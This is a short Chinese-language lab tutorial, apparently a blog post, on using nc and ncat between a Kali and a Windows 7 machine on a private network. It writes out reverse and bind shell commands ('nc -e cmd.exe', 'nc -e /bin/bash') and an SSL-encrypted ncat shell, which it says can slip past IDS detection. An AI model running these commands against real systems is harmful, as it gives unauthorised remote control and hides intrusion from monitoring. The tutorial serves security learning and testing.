目录
ncat:安全连接和验证
ncat
是 nc
的增强版,提供了更多的功能和选项,包括加密、验证连接和代理等功能。它在安全测试和网络管理中发挥着重要作用。
使用示例:
ncat -vz <IP 地址> <端口号>
nc (netcat):探索与测试
nc
(又称为 netcat
)是一个轻量级的网络工具,主要用于创建 TCP/IP 连接并传输数据。它常用于端口扫描、数据传输和调试网络服务等任务。
环境准备:Alice kali 192.168.137.128
BOB win7 192.168.137.200
一,反弹shell
(一) reverse shell from kali to windows
1,kali监听,win7进行反弹shell
nc -lvvp 9999
2.win7使用netcat
-t (以telnet形式应答)
-e (程序重定向)
nc -t -e cmd.exe 192.168.137.128 9999
3.返回kali,已经监听成功
(二) 反弹shell(reverse shell from windows to kali)
1.windows 开启监听
nc -nlvp 4444
2.kali 给windows发送一个反弹shell
nc -nv 192.168.137.200 -e /bin/bash
3.回到windows机器,监听成功
二 、ncat:安全连接和验证
ncat
是 nc
的增强版,提供了更多的功能和选项,包括加密、验证连接和代理等功能。它在安全测试和网络管理中发挥着重要作用。
使用示例:
ncat -vz <IP 地址> <端口号>
1.BOB在win7上使用ncat建立了一个 与Alice 在4444端口上建立SSL 加密的连接
ncat --exec cmd.exe --allow 192.168.137.128 -vnl 4444 --ssl
2,Alice在kali上想要连BOB的加密的ssl会话,并且能够防止被检测,甚至能绕过IDS的检测。
ncat -v 192.168.137.200 4444 --ssl
3.如上图,alice用kali 成功进入BOB的win7